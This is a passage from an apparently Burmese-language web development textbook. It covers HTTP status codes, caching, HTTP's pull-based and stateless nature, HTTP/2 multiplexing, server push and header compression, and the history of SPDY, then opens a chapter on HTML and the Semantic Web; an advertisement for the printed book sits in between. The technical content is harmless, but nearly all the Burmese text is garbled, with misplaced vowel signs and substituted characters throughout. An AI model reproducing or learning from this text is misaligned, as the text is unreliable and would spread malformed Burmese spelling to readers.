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304 Not Modified - ိတာငး်ခလံာတဲ့အချက်ြအလက်ြဟာ Request Header မာှ If-Modified-Since: မတှခ်ျက်ြ
နဲ့အတ ူပါဝငလ်ာတဲ့ရေက်ြစဲွိနာက်ြပိုငး် Server ိပါ်မာှအိပပာငး်အလမဲရေှိိ သးိအကြာငး် ိဖောပ်ပဖေို့သံုးပါတယ်။

307  Temporary  Redirect -  ိတာငး်ခလံာတဲ့အချက်ြအလက်ြဟာ  အပခားတစ်ိနရောကုိြ  ယာယီိရေွှိပပာငး်ထား
ိအကြာငး်  ိဖောပ်ပတဲ့အခါသံုးပါတယ်။  301  နဲ့ကွြာတဲ့အချက်ြကြ  တစ်ချနိမ်ာှ  ပပနလ်ည်ိ ရောက်ြရေှိလာမာှပဖေစ်လို့  ိနာက်ြ
Request ိတကုိွြ အခလုက်ြရေှိ URL အတိုငး် ဆက်ြလက်ြ ိဆာငရ်ေက်ွြနိုင်ိ အကြာငး် အသိိပးတဲ့သိဘာပဖေစ်ပါတယ်။

403 Forbidden - Request  ကုိြ လက်ြခရံေရေှိိ ပမယ့် Client  ဟာ အချက်ြအလက်ြရေယူပိုငခ်ငွ့်ရေှိသူ မဟတုတ်ဲ့အတက်ွြ
ပပနလ်ည်ိ ပးပို့မာှမဟတု်ိ အကြာငး် ိဖောပ်ပပခငး်ပဖေစ်ပါတယ။် 

404 Not Found - ိတာငး်ခလံာတဲ့ အချက်ြအလက်ြကြ Server မာှ ရေှိမိနိအကြာငး် ိဖောပ်ပပခငး်ပဖေစ်ပါတယ်။

500 Internal Server Error - မညသ်ည့်အိအကြာငး်ိအကြာင့်မနှး် အတအိကြျမသိရေတဲ့ Server Error တစ်ခု ပဖေစ်ိပါ်
ိနတဲ့အတက်ွြ အချက်ြအလက်ြပပနလ်ည်ိ ပးပို့နိုငမ်ာှမဟတု်ိ အကြာငး် ိဖောပ်ပတာပါ။

503 Service Unavailable -  ယာယီ  Server Error  တစ်ခု ပဖေစ်ိနတဲ့အတက်ွြ ပပနလ်ညမ်ိပးပို့နိုင်ိ သး ိအကြာငး်
ိဖောပ်ပတဲ့ Code ပဖေစ်ပါတယ်။ အများအားပဖေင့် အသံုးပပုသူသိပမ်ျားိနတဲ့အချနိ၊် Web Server ယာယီ Down ိနတဲ့
အချနိ်ိ တမွာှ ိဖောပ်ပတဲ့ Code ပါ။

အပခား  Status Code  ိတအွိအကြာငး်ကုိြပါ အပပည့်အစံုကုိြ ဆက်ြလက်ြိလလ့ာလိုတယ် ဆုိရေင်ိ တာ့  Wikipedia  ရေဲ့
List of HTTP Status Codes Article မာှ ဆက်ြလက်ြိလလ့ာနိုငပ်ါတယ်။

Link: http://en.wikipedia.org/wiki/List_of_HTTP_status_codes

Response  Header  မာှ  ပပနလ်ည်ိ ပးပိုမ့ယ့်  အချက်ြအလက်ြနဲသ့က်ြဆုိငတ်ဲ့  အပခားအချက်ြိတလွညး်ပါဝငပ်ါိသး
တယ်။  နမနူာ  Response  Header  မာှ  ပပနလ်ညအ်ိအကြာငး်ပပနတ်ဲ့  Server  ရေဲ့အမျို းအစား၊  ပပနလ်ည်ိ ပးပို့မယ့်
Content Size နဲ့ အချက်ြအလက်ြ အမျို းအစားတို့ကုိြပါ ထညသွ်ငး်ိဖောပ်ပိပးတာကုိြ ိတွ့ရေမာှပဖေစ်ပါတယ်။

အချက်ြအလက်ြကုိြပပနလ်ညလ်က်ြခရံေယူမယ့်  Browser  ကြ  ိပးပို့လာတဲ့  Response  Header  သတငး်ပိုခ့ျက်ြိပါ်
မတူညပ်ပးီ လိုအပသ်လို ဆက်ြလက်ြိဆာငရ်ေက်ွြသွားမာှပဖေစ်ပါတယ်။ ဥပမာ - Browser ိတဟွာ Web Content တစ်
ခု ကုိြ လက်ြခံ ရေရေှိပပးီရေင် ိနာငပ်ပနလ်ည် အသံုးချနိုင်ိအာငသိ်မး်ဆညး်ထားိလရ့ေှိပါတယ်။ Cache လပုတ်ယ်လိုိ့ ခါ်
ပါတယ်။ ပပနလ်ည် ိပးပိုလ့ာတဲ့  Response Header  မာှပါဝငလ်ာတဲ့  Modified Date  နဲ့သူသိမး်ဆည်းထားတဲ့
Cache ထဲကြ Content ရေဲ့  Modified Date နှိုငး်ယှဉအ်ကြည့်ပပီး ကွြာပခားပခင်းမရေှိရေင် Server ကြ ပပနပ်ို့တာကုိြမိစာင့်
ိတာပ့ဲ သိမး်ထားတဲ့  Content  ကုိြ ိဖောပ်ပလိုက်ြနိုငပ်ါတယ်။ ဒနီညး်နဲ့ အသံုးပပုသူကြ ပထမတစ်ကကိြမရ်ေယူထားဖေးူတဲ့
Content ကုိြ ိနာက်ြတစ်ကကိြမထ်ပမ်ရံေယူလို တဲ့အခါ ပိုပပးီပမနပ်မနဆ်န်ဆနရ်ေရေှိမာှ ပဖေစ်ပါတယ်။

http://en.wikipedia.org/wiki/List_of_HTTP_status_codes
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Browser ိတဟွာ အိပခခအံားပဖေင့် Text, HTML, Image စတဲ့ Content အချို ့ကုိြိဖောပ်ပနိုင်ိ ပမယ့် မိဖောပ်ပနိုငတ်ဲ့
Content  ိတလွညး်ရေှိပါတယ်။ ဥပမာ  - Microsoft  Excel File  တစ်ခကုိုြ  Web Browser  ကြိဖောပ်ပိပးနိုငမ်ာှ
မဟတုပ်ါဘးူ။ ဒီိ တာ့ Response Header မာှပါလာတဲ့ Content-Type ကုိြလညး် Browser ကြအကြည့်ပါတယ်။ သူ
ိဖောပ်ပနိုငတ်ဲ့  Content အမျို းအစား ဆုိရေင် အသုံးပပုသူအကြည့်ရှုနိုင်ိအာင်ိ ဖောပ်ပလိုက်ြမာှပါ။ မိဖောပ်ပနိုငတ်ဲ့  Content
အမျို းအစားဆုိရေင ်ိတာ ့အသံုးပပုသူရေယူနိုငဖ်ေို့ Download ိပးလိုက်ြမာှပပဲဖေစ်ပါတယ်။

ဒလီို Request/Response Header သတငး်ိပးပိုခ့ျက်ြိတ ွအပပန်အလနှ်ိ ပးပို့ပခင်းအားပဖေင့်  Client နဲ့ Server ဟာ
တစ်ိယာက်ြကုိြတစ်ိယာက်ြ  နားလညပ်ပးီ  ဆက်ြသွယ်ိဆာငရ်ေက်ွြနိုငအ်ကြတာပါ။  HTTP  ကြိတာ့  ဒလီို  ဆက်ြသွယ်
ိဆာငရ်ေက်ွြ  ရောမာှ  လိုက်ြနာရေမယ့်အဆင့်ိ တ၊ွ  ပါဝငရ်ေမယ့အ်ချက်ြအလက်ြိတကုိွြ  သတမ်တှ်ိ ပးထားတဲ့   Web
Standard တစ်ခပုပဲဖေစ် ပါတယ်။

Pull Technology
HTTP ဟာ Pull Technology တစ်မျို းပဖေစ်ပါတယ်။ Pull Technology ဆုိတာ Client နဲ့ Server ဆက်ြသွယ်တဲ့
အခါမာှ  Client  ကြသာ ဆက်ြသွယ်မှုကုိြ  ဦးဆံုးစတငတ်ဲ့  နညး်ပညာကုိြိခါ်တာပဖေစ်ပါတယ။်   Server  ကြ  Client
ဆက်ြသွယ်လာတဲ့ အခါမသှာ သင့်ိ တာသ်လိုအိအကြာငး်ပပန်ိ ပးတာပါ။  Pull Technology  မာှ  Server  ကြ ဆက်ြ
သွယ်မှုတစ်ခကုြို အစပပု တယ်ဆုိတာ မရေှိပါဘူး။

ပုံ (၁-ဃ) HTTP အလပုလ်ပုပ်ုံ

ဒါဟာလညး် ရုိးရေငှး်ိပမယ့် ိလလ့ာစမာှ သတလိတွတ်က်ြတဲ့အချက်ြပဖေစ်ပါတယ်။ URL ဟာ Web Development
ရေဲ့  နပံါတ်  (၁)  အိပခခပံဖေစ်တယ်ဆုိရေင၊်  Client Request  မလပုပ်ဲ  Server Respond  ဆုိတာ ရေှိမာှမဟတုဘ်းူဆိတုဲ့
အချက်ြကြ နပံါတ် (၂) အိရေးအကကီြးဆုံး အိပခခအံချက်ြပပဲဖေစ်ပါတယ်။

Pull Technology  ဟာ ရုိးစင်းတဲ့အတက်ွြ  Web App  ိတွိ ရေးသားရေပခငး်ဟာ တစ်ပခားိသာ  Full-Duplex  လို့
ိခါ်တဲ့  Client-Server  နစ်ှခစုလုံးကြ  ဆက်ြသွယ်မှုအစပပုနိုငတ်ဲ့  Network  App  ိတ ွ ဖေနတ်းီရေပခငး်ထက်ြ  ပိုမို
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လယ်ွကူြပါတယ။် ဒါိပမယ့် တစ်ခါတစ်ရေံ  Real-Time App  လိုိ့ ခါ်တဲ့ စကြ္ကန့်မလပ် အချက်ြအလက်ြိတွိ ပပာငး်လဲ
ိနဖေို့လိုအပတ်ဲ့ App ိတအွတက်ွြိတာ့ ဒီ Pull Technology ကြ အကြန့် အသတ် ပဖေစ်ိနတက်ြပပနပ်ါတယ်။ ဒါကုိြိပဖေ
ရေငှး်ဖေို့  အတက်ွြ  Long-Polling,  Web  Sockets  စသပဖေင့်  နညး်လမး်ိတရွေှိပါတယ်။  အခန်း  (၁၃)  HTML5
Overview  မာှ ထပမ်ံိ ဖောပ်ပပါမယ်။ 

Stateless Protocol
Stateless  Protocol  ဆုိတာဟာ  Client  နဲ့  Server  ဆက်ြသွယ်မှုတစ်ကကိြမန်ဲ့တစ်ကကိြမ်  ဆက်ြနွယ်ပခငး်မရေှိတဲ့  နညး်
ပညာကုိြ ိခါ်တာပဖေစ်ပါတယ်။ တနညး်အားပဖေင့် Request/Response State ကုိြ ထိမး်သမိး်ထားပခငး်မရေှိဘးူလို့ ဆုိလို
တာပါ။ HTTP ဟာ Stateless Protocol တစ်မျို းပဖေစ်ပါတယ်။ Client  ကြ Resource A ကုိြ ိတာငး်ခမံယ်ဆိုရေင်
Server ကြ Resource A ကုိြ ိပးပါလမိ့်မယ်။ Client ကြ ိနာက်ြတစ်ကကိြမအ်ိနနဲ့  Resource B ကုိြ ိတာငး်ခမံယ်
ဆုိရေင်  Server ကြ Resource B ကုိြ ိပးမာှပါပ။ဲ ပထမအကကိြမ်  Resource A ကုိြ ိတာငး်စဉက်ြ User-Agent တို့
Accept Encoding တို့လို အချက်ြအလက်ြိတကုိွြ တစ်ခါိပးပပီးသားမို့  Resource B ကုိြ ိတာငး်ခတံဲ့အခါ ိနာက်ြ
တစ်ကကိြမ်  ထပမ်ိပးိတာဘ့းူလို့  ိနလို့  မရေပါဘးူ။  Server  ကြ ပထမတစ်ကကိြမ်  ဆက်ြသွယ်မှုမာှ  ပါဝငတ်ဲ့  အချက်ြ
အလက်ြိတကုိွြ မတှသ်ားထားမာှ မဟတုလ်ို့ ိနာက်ြတစ်ကကိြမ် ဆက်ြသွယ်တဲ့အခါ အစအဆံုး အကုြနပ်ပနလ်ည် ိပးပို့ရေ
မာှပ ဲပဖေစ်ပါတယ်။

တစ်ချို ့မပဖေစ်မိန ထမိး်သိမ်းထားဖေိုလ့ိုတဲ့  State  ိတအွတက်ွြ  Cookie, Session  အစရေှိတဲ့နညး်ပညာိတအွသံုးပပု
နိုငပ်ါတယ။် ဒအီိအကြာငး်ကုိြိတာ ့အခန်း(၆) PHP Basic မာှိဖောပ်ပိပးပါမယ်။ ဒီိ နရောမာှိတာ့ HTTP ဟာ သဘာ
ဝအရေ Pull Technology တစ်မျို းပဖေစ်ပပီး Stateless သဘာဝလညး် ရေှိတယ်ဆုိတဲ့အချက်ြကုိြ အထးူပပု မတှသ်ားထား
ိစချငပ်ါတယ်။

1.5 - HTTP/2
ဒစီာိရေးသားိနချနိထ်ိ တွငတ်ငွက်ြျယ်ကြျယ် အသံုးပပုိနတဲ့  HTTP ကုိြ HTTP/1.1 လ့ုိိခါ်ပါတယ်။ (၁၉၉၇) ခနုစ်ှ
ကြ  Standard  အပဖေစ်ိအကြပငာခဲ့တဲ့  Version  ပဖေစ်ပပးီ ၁၈ နစ်ှိလာက်ြအကြာိအာင်  Version  အသစ်ိအကြပငာပခငး်မရေှိပဲ
ကြာလ အကြာရေညှစွ်ာ အသံုးပပုခဲ့တဲ့ နညး်ပညာတစ်ခပုဖေစ်ပါတယ်။

HTTP/1.1 ဟာ အထက်ြမာှ ိဖောပ်ပခဲ့သလို Cache လပု်ိ ဆာငခ်ျက်ြိတ၊ွ Pull Technology ပဖေစ်ပခငး်နဲ့  Stateless
ပဖေစ်ပခငး်တိုလ့ို ထူးပခားချက်ြိတနွဲ့ အဘက်ြဘက်ြကြ စနစ်ကြျိအာင် ဖေနတ်းီထားတဲ့ နညး်ပညာတစ်ခု ပဖေစ်ပါတယ။် ဒါ
ိအကြာင့်လညး် ကြိန့အချနိမ်ာှ Client-Server ပုံစံ ိရေးသားတဲ့ Software တိုငး်လိုလိုအတက်ွြ ဆက်ြသွယ်ိရေး နညး်
ပညာအပဖေစ်  HTTP  ကုိြ အသံုးပပုိနအကြပခငး် ပဖေစ်ပါတယ်။ ဒါိပမယ့်  HTTP/1.1  မာှ အားနညး်ချက်ြတစ်ချို ့လညး်
ရေှိိ နပါတယ်။  အဓကိြအကြျဆံုး  အားနညး်ချက်ြကြိတာ့  Client  နဲ့  Server  ဆက်ြသွယ်တဲ့  လပုင်နး်ကုိြ  အစီအစဉ်
အတိုငး် တစ်ခပုပီးတစ်ခ ုပပုလပုပ်ခငး်ပပဲဖေစ်ပါတယ်။

Web App  တစ်ခမုာှ  အသံုးပပုထားတဲ့  Resource  ိပါငး်များစွာပါဝငန်ိုငပ်ါတယ။် ပုံိ တ၊ွ  Icon  ိတ ွပါဝငန်ိုငပ်ါ
တယ်။ CSS ဖေိုင်ိ တနွဲ့ JavaScript ဖေိုင်ိ တပွါဝငန်ိုငပ်ါတယ်။ အဓပိ္ပါယ်ကြ၊ Web App တစ်ခကုိုြ ိဖောပ်ပနိုငဖ်ေို့အတက်ွြ
အသံုးပပုထားတဲ့ Resource ိပါငး် (၅၀) ိလာက်ြရေှိတယ်ဆုိရေင် Client နဲ့ Server အအကြား ဆက်ြသွယမ်ှု အကကိြမ်ိ ရေ
ိပါငး်  (၅၀)  ပပုလပုရ်ေမာှပဖေစ်ပါတယ်။  ဒါကိြု  ထိိ ရောက်ြမှု ရေှိိ စဖေို့အတက်ွြ  Web  Browser  ိတကွြ  Parallel
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Connection  လ့ုိ  ိခါ်တဲ့  ပပို ငတ်ူ  ချတိဆ်က်ြမှု နညး်စနစ်ကုိြ  သံုးအကြပါတယ်။  တနညး်အားပဖေင့်  Resource  ိပါငး်
(၅၀) ကုိြ ယူဖေိုအ့တက်ွြ Connection တစ်ခတုညး်နဲ့ အကကိြမ် (၅၀) တစ်ခပုပးီတစ်ခု ယူမယ့်အစား၊ Connection (၆)
ခုိ လာက်ြ တစ်ပပို ငတ်ညး်လပုပ်ပးီ  ရေယူပခငး်  ပဖေစ်ပါတယ်။ ဒါိပမယ့် လက်ြိတွ့မာှ  Server  တစ်ခကုိုြ  Connection
ိပါငး်  (၆)  ခကုြိန (၈)  ခထုသိာ အပပို ငဖ်ေငွ့်  လ့ုိရေပါတယ်။ ဒါိအကြာင့်  Parallel Connection  လပုသ်ည့်တိုင်ိ အာင်
Resource ိတကုိွြ အလညှ့်ကြျ တစ်ခပုပးီမတှစ်ခ ုဆက်ြသွယရ်ေယူိနရေဆဲပဲ ပဖေစ်ပါတယ်။

HTTP/2  မာှိတာ့  Multiplex  လိုိ့ ခါ်တဲ့  နညး်စနစ်ကြိုသံုးပပီး  Client  Server  ဆက်ြသွယ်တဲ့အခါ  Connection
တစ်ခတုညး်နဲ့  Resource  ိတကုိွြ  Transfer  လပုလ်ို့ရေိအာင်  စီမထံားိပးပါတယ်။  တနညး်အားပဖေင့်  Resource
(၅၀) ရေှိလို့ Connection (၅၀) ပပုလပုဖ်ေို့မလိုိ တာပ့ဲ Connection တစ်ခတုညး်နဲ့ Resource (၅၀) လုံးကုိြ တစ်ခပုပးီ
တစ်ခု ရေယူနိုငသွ်ားပါတယ်။ ရေယူမှုကြ တစ်ခပုပးီမှ တစ်ခယူုတာ ပဖေစ်ိကြာငး်ပဖေစ်ပါမယ်၊ ဒါိပမယ့် Resource တစ်ခု
လိုချငတ်ိုငး် Connection တစ်ခု အသစ်ထပဖ်ေငွ့်ဖေို့ မလိုိ တာတ့ဲ့သိဘာ ပဖေစ်ပါတယ်။ ဒါိအကြာင့် HTTP/2 ရေဲ့  အလပု်
လပုပ်ုံဟာ HTTP/1.1 ထက်ြ ပိုမိုပမန်ဆနမ်ာှပ ဲပဖေစ်ပါတယ်။

HTTP/2  မာှပဖေည့်စွက်ြပါဝငလ်ာတဲ့  ိနာက်ြထပန်ညး်စနစတ်စ်ခကုြိတာ့  Server  Push  ပဖေစ်ပါတယ်။  Browser  နဲ့
Web Client ိတကွြ၊ အိပခခအံားပဖေင့် တစ်ကကိြမရ်ေယူဖေးူတဲ့ Resource ိတကုိွြ Cache လုပထ်ားပပးီ ိနာငလ်ိုအပတ်ဲ့
အခါ ပပနလ်ညအ်သံုးပပုတက်ြအကြပါတယ်။ HTTP ဟာ Pull Technology ပဖေစ်တယ်လို့ အထက်ြမာှိဖောပ်ပခဲ့ပါတယ်။
ပုံမနှအ်ားပဖေင့်  Client ကြ ဆက်ြသွယ်ိတာငး်ခပံခငး်မရေှိပဲ  Server ကြ အချက်ြအလက်ြိတကုိွြ ိပးပိုမ့ာှ မဟတုပ်ါဘးူ။
HTTP/2  ဟာ လညး် အိပခခအံားပဖေင့်  Pull  Technology  တစ်ခသုာပဖေစ်ပါတယ်။  ဒါိပမယ့်  Server  ကြ အချို ့
ဆက်ြစပ်  Resource  ိတ ွကုိြ  Client  ရေဲ့  Cache  ထဲကုိြ ကကိြုတင်  Push  လုပထ်ားနိုငပ်ါတယ်။ ဥပမာ  - Client  ကြ
index.html ဆုိတဲ့ဖေိုငကုိ်ြ ိတာငး်ခံ တယ်ဆုိအကြပါစုိ။့ index.html ထဲမာှ style.css နဲ့ app.js ဆုိတဲ့ဖေိုင်
ိတကုိွြ  ချတိဆ်က်ြထားတယ်ဆုိရေင်  ဒဖီေိုင်ိ တကုိွြလညး်  Client  ကြ  ထပမ်ံိ တာငး်ခရံေမာှပဖေစ်ပါတယ်။  HTTP/2
Server ကြ အ့ဲဒလီို ဆက်ြစပ် Resource ိတကုိွြ Client ိတာငး်ခခံျနိထ်ိ ိစာင့်မိနပဲ အလိုအိလျှာက်ြ ကကိြုတင်ိ ပး
ပို့ထားနိုငပ်ါတယ်။ ဒီိ တာ့  Client ကြ အ့ဲဒဖီေိုင်ိ တကုိွြလိုအပတ်ဲ့အခါ ထပမ်ံ  Request  လုပ်ိ နဖေို့မလိုိ တာပ့၊ဲ  Server
ကြအလိုအိလျှာက်ြိပးပို့ထားလို့  Cache  ထဲိ ရောက်ြနငှ့်ိ နပပးီ  အသင့်အသံုးပပုနိုငမ်ာှပဖေစ်ပါတယ်။  ဒီိ တာ့  Request
လပုရ်ေတဲ့အချနိသ်က်ြသာသွားပပးီ ဆက်ြသွယ်ိရေးအပမနန်ှုနး်လညး် တိုးတက်ြသွားမာှပဖေစ်ပါတယ်။

HTTP/2 ရေဲ့  ိနာက်ြထပလ်ပု်ိ ဆာငခ်ျက်ြတစ်ခကုြိတာ့ Header Compression ပဖေစ်ပါတယ်။ HTTP/1.1 မာှလညး်
Compression လပု်ိ ဆာငခ်ျက်ြ ပါဝင်ိ ပမယ့် HTTP/1.1 ရေဲ့  Compression ကြ Content ကုိြပဲ  Compress လုပ်
ိပးပါတယ်။  HTTP/2  မာှိတာ့  Content  ကုိြသာမကြ Request/Response Header  ိတကုိွြပါ  Compress  လပု်
ိပးတဲ့အတက်ွြ ဆက်ြသွယ်ိရေးအပမနန်ှုနး် ထပဆ်င့်ိ ကြာငး်မနွလ်ာမာှပပဲဖေစ်ပါတယ်။

ဒလီိုလပု်ိ ဆာငခ်ျက်ြိတ ွ ပဖေည့်စွက်ြပါဝငလ်ာိပမယ့်  HTTP/2  ဟာ  HTTP/1.1  နဲ့  အပပည့်အဝ  Backward
Compatible ပဖေစ်ပါတယ်။ ဆုိလိုတာကြ HTTP/1.1  အတက်ွြရေညရ်ေယ်ွဖေနတ်းီထားတဲ့  Software  ိတကုိွြ  HTTP/2
နဲ့ အလပုလ်ပု်ိ စဖေို့အတက်ွြ ဘာမ ှပပငဆ်ငပ်ဖေည့်စွက်ြဖေို့မလိုပါဘးူ။ HTTP ရေဲ့  မလူသိဘာသဘာဝိတပွဖေစ်တဲ့ Request
Methods  ိတ၊ွ  Response  Status Code  ိတ၊ွ  Stateless  သိဘာသဘာဝိတကုိွြ ဆက်ြလက်ြအသံုးပပုထားတဲ့
အတက်ွြ  HTTP/1.1  အတက်ွြ တည်ိ ဆာက်ြထားတဲ့  Software  ိတဟွာ  HTTP/2  နဲ့  အဆင်ိ ပပိပပ ဆက်ြလက်ြ
အလပုလ်ပုန်ိုငမ်ာှပဖေစ်ပါတယ်။ 
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(၂၀၀၉)  တနုး်ကြ  HTTP/1.1  ရေဲ့အားနညး်ချက်ြိတကုိွြ  ပဖေည့်စွက်ြပပငဆ်ငထ်ားတဲ့  SPDY  လ့ုိိခါ်တဲ့နညး်ပညာကုိြ
Google  ကြ ဖေနတ်းီတထီငွခ်ဲ့ပါတယ်။  SPDY ဟာ HTTP/1.1  ကုိြ  Server Push, Header Compression  စတဲ့
လပု်ိ ဆာငခ်ျက်ြ ိတပွဖေည့်စွက်ြိပးထားတဲ့  Protocol  တစ်ခပုဖေစ်ပါတယ်။  Official Standard နညး်ပညာမဟတု်ိ ပ
မယ့်  Google Chrome, Firefox  စတဲ့  Browser  ိတကွြ  SPDY  နညး်ပညာကုိြအသံုးပပုခဲ့အကြသလို၊  Facebook,
Twitter, Google  စတဲ့  Web App  ိတကွြလညး်  SPDY  နညး်ပညာကုိြ အသံုးပပုခဲ့အကြပါတယ်။ တနညး်အားပဖေင့်
HTTP/2 ရေယ်လို့ တရေားဝငထ်က်ွြိပါ်လာပခငး် မရေှိိ သးခငက်ြတညး်ကြ အလားတူ နညး်ပညာိတကုိွြ စတငအ်သံုးပပု
ိန ခဲ့အကြပခငး်ပဖေစ်ပါတယ်။ 

(၂၀၁၂) ခနုစ်ှ နစ်ှဆနး်ပိုငး်မာှိတာ့ Internet Engineering Task Force (IETF) ကြ HTTP/2 ကုိြ စတငဖ်ေနတ်းီဖေို့
ဆံုးပဖေတခ်ဲ့ပပးီ  SPDY  ကုိြ  အိပခခဖံေို့လညး်  ဆံုးပဖေတခ်ဲ့အကြပါတယ်။  (၂၀၁၄)  ခနုစ်ှ  ဒဇီငဘ်ာလမာှ  အပပီးသတခ်ဲ့ပပးီ၊
(၂၀၁၅) ခနုစ်ှ၊ ိဖေိဖောဝ်ါရေလီ (၁၇) ရေက်ြိနမ့ာှ ိနာက်ြဆံုးအတညပ်ပုချက်ြအပဖေစ် HTTP/2 Release Candidate ကုိြ
တရေားဝင်ိ အကြပငာနိုငခ်ဲ့ပခင်းပဖေစ်ပါတယ်။

ဒစီာိရေးသားိနချနိမ်ာှ  Firefox, Chrome, Internet Explorer 11, Opera  စတဲ့  Browser  ိတ ွ HTTP/2  ကုိြ
စတင ်Support လုပ်ိ နပပပီဖေစ်လို့ HTTP/2 နညး်ပညာများကုိြ ကြျွန်ိ တာတ်ိုိ့ တ ွစတငအ်သံုးပပုိနပပပီပဲဖေစ်ပါတယ်။ 



          ပံုနိှပ်မူစာအုပ်               

ဤစာအပ်ု၏ ပံုနိှပ်မူကြို ရေန်ကြန်ု၊ မန္တ လးနှင့်               

မံုရောွပမို့တုိရ့ေှိ စာအပ်ုဆိုင်များတွင် (၁၀,၀၀၀) ကြျပ်ပဖေင့်               

ဝယယ်နုိူင်ပါသည။် ဆက်ြသွယရ်ေန် - လန်ွိဆးပမိုင်စာိပ               

(၀၉) ၅၀ ၇၆၀ ၂၄   (၀၉) ၂၅၂ ၄၂၆ ၃၈၈               
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အခနး် (၂) HyperText Markup Language - HTML
Semantic Markup ိခါ် စနစ်ကြျသည့် အချကြအ်လကြဖဲွ်ေ့စညး်ပံု

HTML အိအကြာငး် ိလ့လာတဲ့အခါ HTML5 မတိုငမ်ီ မလူ HTML နဲ့ HTML5 ိနာက်ြပိုငး် ိခတသ်စ် HTML
ဆုိပပီး  နစ်ှပိုင်းခွဲအကြည့်ဖေို့  လိုပါတယ်။  မလူ  HTML  ဟာ  Web Document  ိတ ွိရေးသား  တည်ိ ဆာက်ြတဲ့အခါ
လိုက်ြနာအသံုးပပုဖေို့အတက်ွြ W3C ကြ သတမ်တှ်ိ ပးထားတဲ့ Markup Language ပဖေစ်ပါတယ်။ Web Document
ဆုိတာဟာ လက်ြိတွ့မာှ HTML Element ိတစုွစညး်ထားတဲ့ Text Document တစ်ခပုါ။ 

ပုံ (၂-ကြ) HTML Element တစ်ခ၏ုဖေွဲ့စညး်ပုံ

ပုံ  (၂-ကြ) မာှ  HTML Element  တစ်ခရုေဲ့  ဖေွဲ့စညး်ပုံကုိြိဖောပ်ပိပးထားပါတယ်။  HTML Element  ိတမွာှ  Open
Tag  နဲ့  Close Tag  ဆုိပပးီ  အဖေငွ့်အပတိ်  အမတှအ်သားများပါရေှိရေပါတယ်။ အ့ဲဒအီဖေငွ့်အပတိအ်ကြားထမဲာှ  Element
Content တညရ်ေှိရေပပးီ Open Tag အတငွး်မာှ Attribute ိတရွေှိနိုငပ်ါတယ်။  Close Tag နဲ့ Element Content မရေှိ
ပ ဲOpen Tag နဲ့ Attribute ိတသွာပါဝင ်တဲ့ Empty Tag ိတလွညး်ရေှိပါိသးတယ်။

၁၉၉၁ ခနုစ်ှကြ အ့ဲဒလီို Element (၁၈) မျို းပါဝငတ်ဲ့ Document ိရေးသားနညး်ကုိြ HTML - HyperText Markup
Language ရေယ်လို့ World Wide Web နညး်ပညာကုိြတထီငွခ်ဲ့တဲ့ Tim Berners-Lee ကြပဲ စတငတ်ထီငွခ်ဲ့တာပါ။
အ့ဲဒီ  (၁၈)  ခထုကဲြ  (၁၁)  ခဟုာ ကြိနထ့ဆိက်ြလက်ြပါဝင်  အသံုးပပုိနဆဲပဖေစပ်ါတယ်။  HTML2.0  အိနနဲ့  အများ
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အသံုးပပုနိုငဖ်ေို့  စတင်ိ အကြပငာိပးခဲ့တာကြိတာ့  ၁၉၉၄  ခနုစ်ှ၊  နိုဝငဘ်ာလမာှပဖေစ်ပါတယ်။  အခဒုစီာ  ိရေးိနချနိမ်ာှ
ကြျယ်ကြျယ်ပပန့်ပပန့်  အသံုးပပုိနတာကြိတာ့  ၂၀၁၄  ခနုစ်ှ  ိအာက်ြတိုဘာလမာှ  အပပးီသတ်ိ အကြပငာခဲ့တဲ့  HTML5
ပဖေစ်ပါတယ်။  HTML5  ထက်ွြိပါ်လာပပးီ ိနာက်ြပိုငး် ိခတမ်ာှိတာ့  HTML  ဆုိတာဟာ  Web Document  ိတွ
ိရေးသားရေတဲ့  Markup  Language  တစ်ခဆုိုတာထက်ြ  အများကကီြးပိုသွားပါပပ။ီ  ဒအီိအကြာငး်ကုိြ  အခနး်  (၁၃)  -
HTML5  Overview ိရောက်ြတဲ့အခါ  ိဖောပ်ပပါမယ်။  ဒီိ နရောမာှိတာ့  HTML  ရေဲ့  Markup  Language
လပု်ိ ဆာငခ်ျက်ြ အိအကြာငး်ကုိြသာ ိဖောပ်ပသွားမာှ ပဖေစ်ပါတယ်။ 

2.1 - Semantic Web
Element  ိတအွိအကြာငး်မိလလ့ာခင်  Semantic  Web  ကုိြ  အရေင်ဆံုးနားလညထ်ားဖေို့လိုပါတယ်။  Semantic ဆုိ
တာ သတမ်တှ် စညး်မျဉး်ကုိြ တတိကိြျကြျလိုက်ြနာထားတဲ့အတက်ွြ စနစ်ကြျိနတဲ့ Web Document ိတကုိွြဆုိလိုတာ
ပဖေစ်ပါတယ်။ သတမ်တှ်  စညး်မျဉး်နဲ့အညီ  စနစ်ကြျိအာငတ်ည်ိ ဆာက်ြထားမသှာ  Web Document  ိတဟွာ လူ
တစ်ိယာက်ြ ဖေတရ်ှုနားလညန်ိုငယံု်မကြ ကွြနပ်ျူတာကြလညး်  Process  လပုန်ိုငမ်ာှပဖေစ်ပါတယ်။  W3C  ကြ  HTML
ကုိြ ဖေနတ်းီတဲ့ိ နရောမာှ လညး် ဒလီိုရေညရ်ေယ်ွချက်ြနဲ့ပဲ ဖေနတ်းီထားတာပဖေစ်ပါတယ်။

လတူစ်ိယာက်ြဟာ Web Document တစ်ခအုတငွး်မာှ ဘာိတပွါလညး်သိချငရ်ေင် မျက်ြစိနဲ့အကြည့်ပပးီဖေတ်ရှုိလလ့ာ
မာှပါ။ ဒါိပမယ့် ကွြနပ်ျူတာကြိတာ့ အ့ဲဒီ Document ထဲမာှ ဘာိတပွါလဆုိဲတာသိရေဖေို့ အတက်ွြ  Process လပုပ်ပးီ
နားလညရ်ေတာပဖေစ်ပါတယ်။  ကွြနပ်ျူတာဆုိတာ  Processing  Power  ရေှိိ ပမယ့်  သငမ်ိပးရေငဘ်ာမမှတက်ြတာ
အားလုံးအသိပါ။  Web Browser,  Search Engine Spider  အစရေှိတဲ့ကွြနပ်ျူတာ  Software  ိတကုိွြ သတမ်တှ်
စညး်မျဉး်ိတ ွ သငထ်ားိပးတဲ့အတက်ွြ  Web  Document  တစ်ခကုိုြ  ဖေတယူ်တဲ့ိ နရောမာှ  အ့ဲဒစီညး်မျဉး်ိတနွဲ့
တိုက်ြဆုိငအ်ကြည့်ပပီး  နားလညရ်ေတာပဖေစ်ပါတယ်။ ဒါိအကြာင့်  ကြျွန်ိ တာတ်ို့တည်ိ ဆာက်ြတဲ့   Web Document  ိတွ
ဟာ သတမ်တှစ်ညး်မျဉး်နဲမ့ညရီေင ်ကွြနပ်ျူတာကြ Process လပုန်ိုငတ်ဲ့ Semantic Document ပဖေစ်မာှမဟတုပ်ါဘူး။ 

